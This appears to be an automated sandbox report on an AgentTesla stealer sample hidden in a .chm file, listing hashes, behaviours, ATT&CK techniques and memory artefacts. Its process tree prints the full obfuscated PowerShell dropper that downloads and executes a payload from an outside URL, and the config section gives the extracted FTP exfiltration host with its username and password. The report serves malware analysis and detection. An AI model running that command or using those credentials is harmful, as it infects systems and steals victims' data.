agenttesla | f0c20d4ea2e2cc1d3c9df58b1a4854f9e3b761b7cd0c26860559289c74a8d50f

General

Target

4e5ef8e38b17fdf30961f28d4b5e2e23.chm
Size

14KB
MD5

4e5ef8e38b17fdf30961f28d4b5e2e23
SHA1

a7da3f869505242eb93c6bb07bc7cc76b6a5d71b
SHA256

f0c20d4ea2e2cc1d3c9df58b1a4854f9e3b761b7cd0c26860559289c74a8d50f
SHA512

c33cfc30c355dcb2638a7835986572c3da27b12cbb6c4a3773fbd1ce03e2c5b1710e15f1a15253f2951455eae53e71b5837dcc4176ace40bf43326b72e846f7c

Score

10^/10

agenttesla collection keylogger spyware stealer suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pacurariu.com/F37.jpg

Extracted

Credentials

Protocol: ftp
Host:
ftp.jordi-spedition.com
Port:
21
Username:
[email protected]
Password:
asdqwe123!@#

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.jordi-spedition.com/
Port:
21
Username:
[email protected]
Password:
asdqwe123!@#

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
suricata: ET MALWARE AgentTesla Exfil via FTP
suricata: ET MALWARE AgentTesla Exfil via FTP
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 2024 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

2024 powershell.exe
2024 powershell.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
5	2024	powershell.exe

pid	process
2024	powershell.exe
2024	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2024 set thread context of 1200 2024 powershell.exe RegAsm.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

hh.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Main hh.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeRegAsm.exe

pid process

2024 powershell.exe
1200 RegAsm.exe
1200 RegAsm.exe

description	pid	process	target process
PID 2024 set thread context of 1200	2024	powershell.exe	RegAsm.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

pid	process
2024	powershell.exe
1200	RegAsm.exe
1200	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

powershell.exeRegAsm.exe

description	pid	process
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeIncreaseQuotaPrivilege	2024	powershell.exe
Token: SeSecurityPrivilege	2024	powershell.exe
Token: SeTakeOwnershipPrivilege	2024	powershell.exe
Token: SeLoadDriverPrivilege	2024	powershell.exe
Token: SeSystemProfilePrivilege	2024	powershell.exe
Token: SeSystemtimePrivilege	2024	powershell.exe
Token: SeProfSingleProcessPrivilege	2024	powershell.exe
Token: SeIncBasePriorityPrivilege	2024	powershell.exe
Token: SeCreatePagefilePrivilege	2024	powershell.exe
Token: SeBackupPrivilege	2024	powershell.exe
Token: SeRestorePrivilege	2024	powershell.exe
Token: SeShutdownPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeSystemEnvironmentPrivilege	2024	powershell.exe
Token: SeRemoteShutdownPrivilege	2024	powershell.exe
Token: SeUndockPrivilege	2024	powershell.exe
Token: SeManageVolumePrivilege	2024	powershell.exe
Token: 33	2024	powershell.exe
Token: 34	2024	powershell.exe
Token: 35	2024	powershell.exe
Token: SeDebugPrivilege	1200	RegAsm.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

1160 hh.exe
1160 hh.exe

pid	process
1160	hh.exe
1160	hh.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

hh.exepowershell.exe

description	pid	process	target process
PID 1160 wrote to memory of 2024	1160	hh.exe	powershell.exe
PID 1160 wrote to memory of 2024	1160	hh.exe	powershell.exe
PID 1160 wrote to memory of 2024	1160	hh.exe	powershell.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe
PID 2024 wrote to memory of 1200	2024	powershell.exe	RegAsm.exe

outlook_office_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\4e5ef8e38b17fdf30961f28d4b5e2e23.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'http' + '://pacurariu.com/F37.jpg')|P
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\3f8b3fda-7c61-4ab4-930f-214c6ca10432\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
\Users\Admin\AppData\Local\Temp\ac0a83c9-940b-4ffc-8fb9-5eb938a1d618\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/1160-54-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download
memory/1200-68-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1200-69-0x0000000000435BCE-mapping.dmp

Download
memory/1200-74-0x0000000075581000-0x0000000075583000-memory.dmp

Filesize
8KB

Download
memory/1200-73-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1200-71-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1200-63-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1200-66-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1200-64-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1200-67-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2024-55-0x0000000000000000-mapping.dmp

Download
memory/2024-59-0x000000000269B000-0x00000000026BA000-memory.dmp

Filesize
124KB

Download
memory/2024-57-0x000007FEEDED0000-0x000007FEEEA2D000-memory.dmp

Filesize
11.4MB

Download
memory/2024-61-0x000007FEEFFA0000-0x000007FEF0124000-memory.dmp

Filesize
1.5MB

Download
memory/2024-58-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads